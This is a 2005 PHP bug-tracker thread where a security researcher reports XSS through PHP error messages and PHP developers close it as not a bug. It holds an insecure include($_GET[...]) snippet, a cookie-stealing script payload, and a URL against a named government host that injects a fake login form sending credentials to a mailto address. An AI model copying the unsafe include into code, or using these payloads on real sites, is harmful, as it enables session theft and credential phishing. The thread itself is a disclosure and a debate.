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Bug #33173 Bug in PHP 4.3.11 display_error.
Submitted: 2005-05-28 16:57 UTC Modified: 2005-05-30 19:52 UTC
From: max at jestsuper dot pl Assigned:
Status: Not a bug Package: *General Issues
PHP Version: * OS: *
Private report: No CVE-ID: None
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 [2005-05-28 16:57 UTC] max at jestsuper dot pl 
Description:
------------
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Author: cXIb8O3(Maksymilian Arciemowicz)
Date: 28.5.2005
from securityreason.com TEAM

- --- 0. Bug in PHP 4.3.11 display_error. ---

This bug can be danger, because someone can do xss and Phishing attack.
Problem exist in display_errors..

Example php script:

<?php
include($_GET['varible']);
?>

and now request is

?varible=XXX

so can we see any error.

- ---
Warning: main(XXX): failed to open stream: No such file or directory in /www/dupa.php on line 2

Warning: main(): Failed opening 'XXX' for inclusion (include_path='.:') in /www/dupa.php on line 2
- ---

Normal. But now varible have for example <h1>SR</h1>
And error messages is:

- ---
Warning: main(
SR
): failed to open stream: No such file or directory in /www/dupa.php on line 2

Warning: main(): Failed opening '<h1>SR</h1>' for inclusion (include_path='.:') in /www/dupa.php on line 2
- ---

So XSS...

Danger can be tag <script> <iframe>, because you can see cookies etc.
For example.

?varible=<script>alert(document.cookie);</script>

And have you cookies from this domain!

This XSS is critical, because exist in display_error and hacker can do XSS and Phishing attack.
For example, if this bug exist in a Bank site... hacker can create <FORM> or mirror site...

- --- 1.Contact ---
Author: Maksymilian Arciemowicz < cXIb8O3 >
Email: max [at] jestsuper [dot] pl or cxib [at] securityreason [dot] com
GPG-KEY: securityreason.com TEAM
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Actual result:
--------------
XSS

Patches

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History

AllCommentsChangesGit/SVN commitsRelated reports
 [2005-05-28 19:02 UTC] helly@php.net 
Thank you for taking the time to write to us, but this is not
a bug. Please double-check the documentation available at
http://www.php.net/manual/ and the instructions on how to report
a bug at http://bugs.php.net/how-to-report.php

You're not supposed to pass the error information to your users. Show erros is only a convenience thing to aid you while developing. Thus no user will ever see such error messages. So in the end it is not usable for phishing and alike.
 [2005-05-30 18:56 UTC] max at jestsuper dot pl 
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>  ID:               33173
>  Updated by:       helly@php.net
>  Reported By:      max at jestsuper dot pl
> -Status:           Open
> +Status:           Bogus
>  Bug Type:         *General Issues
> -Operating System: FreeBSD
> +Operating System: *
> -PHP Version:      4.3.11
> +PHP Version:      *
>  New Comment:
>
> Thank you for taking the time to write to us, but this is not
> a bug.

This is bug [XSS]. 

> Please double-check the documentation available at 
> http://www.php.net/manual/ and the instructions on how to report
> a bug at http://bugs.php.net/how-to-report.php

Ok. But this bug still exists, if (html_errors false) etc.

>
> You're not supposed to pass the error information to your users. Show
> erros is only a convenience thing to aid you while developing. Thus no
> user will ever see such error messages. So in the end it is not usable
> for phishing and alike.

Is is.. ;] That can be very dangers. For example phishing. This is XSS!
So ok. Example newweb.wrh.noaa.gov

http://newweb.wrh.noaa.gov/pdt/prototype/gfeGraphics/gfeGraphics.php?imgSource=%3CP%3E%3Cfont%20color=red%3E%3CP%3E%3Ch1%3EWARNING!%20SYSTEM%20ERROR%3CBR%3EPlease%20login:
%3C/h1%3E%3C/font%3E%3Cfont%20size=-4%3E%3C/center%3E%20%3CFORM%20METHOD=POST%20ACTION=mailto:haker@blabla.pl%3E%3CP%3ELOGIN:
%3CINPUT%20TYPE=text%20NAME=login%20SIZE=9%3E%3CP%3EPASSWORD:
%3CINPUT%20TYPE=password%20NAME=passwd%20SIZE=9%3E%3CP%3E%3Cinput%20type=submit%20name=go%20value=Login%3E%3C/form%3E%3Cfont%20color=white%3E

http://newweb.wrh.noaa.gov/pdt/prototype/gfeGraphics/gfeGraphics.php?imgSource=<iframe 
src=http://newweb.wrh.noaa.gov>

But php errors (Warning) can be in a BANK site... and can you create form ... 
phishing!

Tell me what is wrong. Thx

SecurityResason.Com
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 [2005-05-30 19:52 UTC] johannes@php.net 
Here we have two errors:  
  
a) letting unchecked data be used as filename  
b) showing plain errors to the user  
  
about a) _every_ input data needs to be checked. Or we  
would need to remove eval since some user might do a  
eval($_GET['code'])  
  
about b) as Marcus wrote you shouldn't show plain error 
messages to your users. This for two reasons: first the 
user doesn't understand what's wrong and might think he's 
to stupid and second for a bit of security, if the some 
bad guy doesn't know where a GET-value is used he has 
limited chance in finding an exploit. 
 
And a further note: changing the filename for the error 
message might also make debugging harder since the name 
shown isn't exactly the one used so it might be harder to 
track the reason
 
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